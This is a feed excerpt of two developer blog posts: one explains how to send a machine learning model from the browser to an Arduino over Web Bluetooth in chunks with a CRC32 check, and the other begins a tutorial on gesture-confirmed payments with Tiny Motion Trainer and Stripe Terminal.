&lt;p&gt;The &lt;a href="https://store-usa.arduino.cc/products/arduino-nano-33-ble-sense" rel="noopener noreferrer"&gt;Arduino Nano 33 BLE Sense&lt;/a&gt; is designed around a &lt;a href="https://www.nordicsemi.com/" rel="noopener noreferrer"&gt;Nordic Semiconductor&lt;/a&gt; chip which has a Maximum Transmission Unit (MTU) of 23 bytes, which represents the largest packet size that can be sent at a time. According to &lt;a href="https://infocenter.nordicsemi.com/index.jsp?topic=%2Fsds_s140%2FSDS%2Fs1xx%2Fble_data_throughput%2Fble_data_throughput.html" rel="noopener noreferrer"&gt;this resource&lt;/a&gt;, the maximum data throughput for this size is 128 kbps so you need to split the machine learning model into packets of this size to be able to transfer it over to the Arduino.&lt;/p&gt;

&lt;p&gt;You also need to make sure that the total size of the file isn’t too large for the microcontroller to handle.&lt;/p&gt;

&lt;p&gt;To do this, you start by reading the characteristic that holds the maximum file size value from the Arduino.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;maximumLengthValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fileMaximumLengthCharacteristic&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readValue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;maximumLengthArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint32Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;maximumLengthValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;maximumLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;maximumLengthArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// The fileBuffer variable is the model buffer you loaded in the code sample above.&lt;/span&gt;
 &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;byteLength&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;maximumLength&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
   &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="s2"&gt;`File length is too long: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;byteLength&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes but maximum is &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;maximumLength&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.`&lt;/span&gt;
   &lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the file isn’t too long, you can start splitting it and transferring it. The code below details the different steps.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 1. Start by writing the length value of the model to the file length characteristic on the Arduino.&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;fileLengthArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Int32Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;byteLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fileLengthCharacteristic&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileLengthArray&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Pass the file buffer and the starting index to the function&lt;/span&gt;
&lt;span class="nf"&gt;sendFileBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sendFileBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bytesAlreadySent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// 3. Calculate the remaining bytes.&lt;/span&gt;
 &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;bytesRemaining&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;byteLength&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;bytesAlreadySent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_BLOCK_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;blockLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bytesRemaining&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MAX_BLOCK_LENGTH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Transform the content into a Uint8array&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;blockView&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bytesAlreadySent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;blockLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 5. Write the value to the characteristic on the Arduino&lt;/span&gt;
 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;fileBlockCharacteristic&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;blockView&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// 6. Remove the length of the block already sent from the size of bytes remaining&lt;/span&gt;
     &lt;span class="nx"&gt;bytesRemaining&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;blockLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// 7. If the file has not finished transferring, repeat&lt;/span&gt;
     &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bytesRemaining&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;isFileTransferInProgress&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`File block written - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;bytesRemaining&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes remaining`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
       &lt;span class="nx"&gt;bytesAlreadySent&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;blockLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sendFileBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileContents&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bytesAlreadySent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
     &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="p"&gt;})&lt;/span&gt;
   &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
     &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
       &lt;span class="s2"&gt;`File block write error with &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;bytesRemaining&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes remaining, see console`&lt;/span&gt;
     &lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once this code runs, it should transfer the machine learning model, packet by packet, until there are no bytes remaining. Even though this works, you can add an additional step to ensure that the file received is the same as the file transferred.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checksum
&lt;/h2&gt;

&lt;p&gt;A checksum can be used to detect errors that may have been introduced when the file was transferred between the browser and the Arduino. The &lt;code&gt;tf4micro-motion-kit.js&lt;/code&gt; library uses a &lt;a href="https://crc32.online/" rel="noopener noreferrer"&gt;CRC32&lt;/a&gt; function to verify data integrity.&lt;/p&gt;

&lt;p&gt;It calculates a 32-bit &lt;a href="https://en.wikipedia.org/wiki/Cyclic_redundancy_check#CRCs_and_data_integrity" rel="noopener noreferrer"&gt;cyclic redundancy checksum&lt;/a&gt; for the data transferred and repeats this calculation on the receiving side. If the two values don’t match, the data has somehow been corrupted and an error message can indicate that the transfer has failed.&lt;/p&gt;

&lt;p&gt;I’m not going to dive into how the CRC32 function is implemented but you can view the source in &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/blob/main/web/dist/tf4micro-motion-kit.js#L264" rel="noopener noreferrer"&gt;the repository&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the Arduino runs the model
&lt;/h2&gt;

&lt;p&gt;Once the Arduino has received the complete file and the checksum has verified the integrity of the data, the code on the device gets live input data from the built-in sensors using the &lt;code&gt;IMU.readAcceleration&lt;/code&gt; method, transforms that data into tensors, and feeds it to the model to predict gestures. This code is written in C++ and is part of the program you need to upload to the Arduino so I won’t go into details, but you can have a look at the code in &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/tree/main/arduino/tf4micro-motion-kit" rel="noopener noreferrer"&gt;this repository&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Transferring a machine learning model from the browser to an Arduino via bluetooth is done in 5 steps including connecting the board to the browser using the Web Bluetooth API, splitting the model into chunks, transferring them one by one to the device, running it with live data from the Arduino’s built-in sensors, and notifying the frontend once a gesture has been detected.&lt;/p&gt;

&lt;p&gt;If you want to dive deeper into the entire code written for the Arduino sketch, you can find it in &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit/releases/tag/v005" rel="noopener noreferrer"&gt;this repository&lt;/a&gt; and if you want to look at the code written to create the model, the &lt;a href="https://github.com/googlecreativelab/tiny-motion-trainer" rel="noopener noreferrer"&gt;Tiny Motion Trainer project is also open-source&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;If you’re building anything interesting with this technology, let us know!&lt;/p&gt;

&lt;p&gt;In the meantime, you can stay up to date with Stripe developer updates on the following platforms:&lt;br&gt;
📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fww26qf6h3lwh0aiiegvr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fww26qf6h3lwh0aiiegvr.png" alt="Charlie's profile picture. She has long brown hair and is wearing glasses. She is standing in front of a white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a Developer Advocate at Stripe, a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt; and &lt;a href="https://developers.google.com/community/experts" rel="noopener noreferrer"&gt;Google Developer Expert&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, trying new beers and reading.&lt;/p&gt;

</description>
      <category>arduino</category>
      <category>javascript</category>
      <category>bluetooth</category>
      <category>tfjs</category>
    </item>
    <item>
      <title>Gesture-based payments</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Mon, 10 Oct 2022 15:55:20 +0000</pubDate>
      <link>https://dev.to/4thzoa/gesture-based-payments-2ipd</link>
      <guid>https://dev.to/4thzoa/gesture-based-payments-2ipd</guid>
      <description>&lt;p&gt;Currently, the most popular forms of contactless payment include the use of “Tap to Pay” with cards, phones and smart watches. You bring your device close to a terminal and have your payment processed in a few seconds. Other interesting technologies are being considered as potential future payment methods, one of them being gesture control. Several patents have already been filed for this, including one that would &lt;a href="https://patents.google.com/patent/US20210383355A1/en" rel="noopener noreferrer"&gt;add a module dedicated to gesture control on a credit card&lt;/a&gt; and another that would store user-defined gesture data in the user’s mobile phone to build a &lt;a href="https://patents.google.com/patent/US20110282785A1/en" rel="noopener noreferrer"&gt;gesture based authentication for wireless payment&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Gesture data can be recorded in many different ways and in this post, I will explain how to prototype a different gesture-based payment system in a few lines of code, using an &lt;a href="https://store-usa.arduino.cc/products/arduino-nano-33-ble-sense" rel="noopener noreferrer"&gt;Arduino Nano 33 BLE Sense&lt;/a&gt; (a microcontroller for IoT projects), the machine learning library &lt;a href="https://www.tensorflow.org/js" rel="noopener noreferrer"&gt;TensorFlow.js&lt;/a&gt; and some JavaScript.&lt;/p&gt;

&lt;p&gt;Below is a prototype I built that uses a Terminal device to collect payment details from a credit card and only processes the payment once the user confirms the purchase with a custom gesture.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/HQOXaRWXcuk"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;It works by creating a &lt;a href="https://stripe.com/docs/payments/payment-intents" rel="noopener noreferrer"&gt;Payment Intent&lt;/a&gt; on the server, collecting the payment method via the Terminal and waiting for a user gesture. If the user executes a gesture that isn’t recognized as a pre-trained one, it displays the message “Incorrect gesture” in the UI. On the other hand, if it is recognized, it processes the payment.&lt;/p&gt;

&lt;p&gt;This type of technology could be used to prevent unauthorized use of a stolen credit card or phone, for example. The same way that nowadays people use multiple factor authentication when logging into online platforms, payment could benefit from the same concept.&lt;/p&gt;

&lt;h2&gt;
  
  
  Training a machine learning algorithm with gestures data
&lt;/h2&gt;

&lt;p&gt;The first step to build this project is to build a machine learning model that can recognise different gestures.&lt;/p&gt;

&lt;p&gt;To do this, you can use a project built by Google Creative Labs called &lt;a href="https://experiments.withgoogle.com/tiny-motion-trainer/view/" rel="noopener noreferrer"&gt;Tiny Motion Trainer&lt;/a&gt;. This interface lets you record different gestures, feed this data into an algorithm to create a machine learning model, test it for accuracy and export it as a file you can add in your app, all in just a few minutes!&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting the Arduino ready
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpc6xfia1jl5q1vf2cgx8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpc6xfia1jl5q1vf2cgx8.png" alt="Screenshot of the Arduino IDE" width="800" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To make this work, upload a sketch (program) to the Arduino to add some machine learning functionality. By default, an Arduino does not have this built-in logic until you upload a sketch to it. What this sketch does is implement the functionality needed to run the machine learning model once it receives it from the browser.&lt;/p&gt;

&lt;p&gt;You can find the instructions on how to do this in &lt;a href="https://github.com/googlecreativelab/tiny-motion-trainer#install-and-run" rel="noopener noreferrer"&gt;this repository&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connecting to the Arduino
&lt;/h3&gt;

&lt;p&gt;To capture gesture data, the Arduino needs to be connected to the browser. This happens using bluetooth and the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Bluetooth_API" rel="noopener noreferrer"&gt;Web Bluetooth API&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For security reasons, this API requires a user action to start scanning for nearby devices. In general, this interaction is a button click to indicate that the user is intentionally trying to connect to a device.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foju80ewos51jy40ip410.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foju80ewos51jy40ip410.png" alt="screenshot of the Tiny Motion Trainer homepage" width="800" height="537"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using Tiny Motion Trainer, clicking on the “Connect” button will open a popup with the list of nearby Arduino devices you can connect to. &lt;/p&gt;

&lt;p&gt;When the connection is successful, you should see the first setting being updated as you move the Arduino.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1aaiz7l3a5i1snvj19r.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1aaiz7l3a5i1snvj19r.gif" alt="GIF showing the first setting moving as the Arduino is handled" width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I will talk about what these settings mean later in this post. For now let’s move on to recording gesture data.&lt;/p&gt;

&lt;h3&gt;
  
  
  Capturing data
&lt;/h3&gt;

&lt;p&gt;Once connected, you can start capturing data about the gestures you’re interested in. For the rest of this post, I’m going to use examples of hand gestures but attaching the Arduino to your leg to detect squats or even to a washing machine to detect the different stages of the laundry process would also be valid inputs.&lt;/p&gt;

&lt;p&gt;First, pick a label for your gesture, for example “Rotate right”. Then, while holding the Arduino in your hand, click the “Start recording” button and repeat the gesture to record multiple samples. The number of samples you record is up to you, but the more you have, the more accurate your model is likely to be. Personally, I always record at least 10 samples per gesture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2l23os9hfgjiqtakzzef.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2l23os9hfgjiqtakzzef.png" alt="screenshot of the Tiny motion trainer UI showing the motion data visualizations" width="800" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you are done recording samples for your first gesture, click on “Stop recording”, pick a label for your second gesture, for example “Rotate left”, and repeat the same process.&lt;/p&gt;

&lt;p&gt;You will see on the right side of the screen that every time a sample is recorded, a data visualization is displayed. What these represent is a visualization of the live data coming from the Arduino – more specifically, the data from the x, y and z coordinates from the gyroscope and accelerometer.&lt;/p&gt;

&lt;p&gt;Ideally, these graphs should look quite different between the gestures as it will be more likely that your machine learning model will be able to easily recognize them. If you choose gestures that are quite similar, you might want to record more samples to help the model find how to differentiate between them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Training and testing the model
&lt;/h3&gt;

&lt;p&gt;When all the samples are recorded, the next step is to train the machine learning model. What this means is that the model is going to look at all the samples and attempt to learn patterns that will help predict accurately between the two gestures. To launch this step, select “Train your model” in the left section, click on the “Start training” button and let it do its thing! You’ll see two graphs on the page updating as the algorithm is being run. The “Accuracy” graph shows the percentage of accurate predictions the model is making while being trained. The higher it is, the better. The “Loss” graph represents the amount of errors on the predictions done in the training step, which will hopefully decrease over time.&lt;/p&gt;

&lt;p&gt;The time this process takes depends on the number of gestures and amount of samples previously recorded. If you only create two gestures with 10 samples, it will only take a few seconds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffbuxgn3e6ekowoatfnwg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffbuxgn3e6ekowoatfnwg.png" alt="Screenshot of the training screen showing the graphs for accuracy and loss of the training process" width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once it is done, you can move on to the testing step. This section should show your gestures, and you should be able to test the accuracy of the model created by repeating one of your gestures and verifying that the correct label is highlighted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kbwcsh6a0skggnjd1hh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kbwcsh6a0skggnjd1hh.png" alt="Screenshot of the testing phase showing the correct gesture being predicted" width="800" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Exporting the model
&lt;/h3&gt;

&lt;p&gt;If you’re happy with the accuracy, you can then export your model to use it in your app. You can either export it for Arduino or TensorFlow.js. When exporting for TensorFlow.js, the model is downloaded as a JSON file and I’ve had some issues with it not uploading to the board correctly, so instead, I used the export to Arduino option that downloads a &lt;code&gt;.tflite&lt;/code&gt; file that works as expected.&lt;/p&gt;

&lt;p&gt;The model size is relatively small (the 3 gestures shown above result in a 8kb file), so it’s perfect for low-memory devices used for IoT projects and overall impressive for a machine learning model!&lt;/p&gt;

&lt;p&gt;Once it is exported, it’s time to move on to writing the code that will use the model to add gesture control to a web app.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding gesture control to a web app
&lt;/h2&gt;

&lt;p&gt;To make this easier, Google open-sourced a &lt;a href="https://github.com/googlecreativelab/tf4micro-motion-kit" rel="noopener noreferrer"&gt;script&lt;/a&gt; that handles most of the logic to load and transfer the model to the Arduino so you only need to write about 10 lines of front-end code!&lt;/p&gt;

&lt;p&gt;First, add a button and import the script in your HTML file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;”connectButtonContainer”&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Connect&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"tf4micro-motion-kit.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, write the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
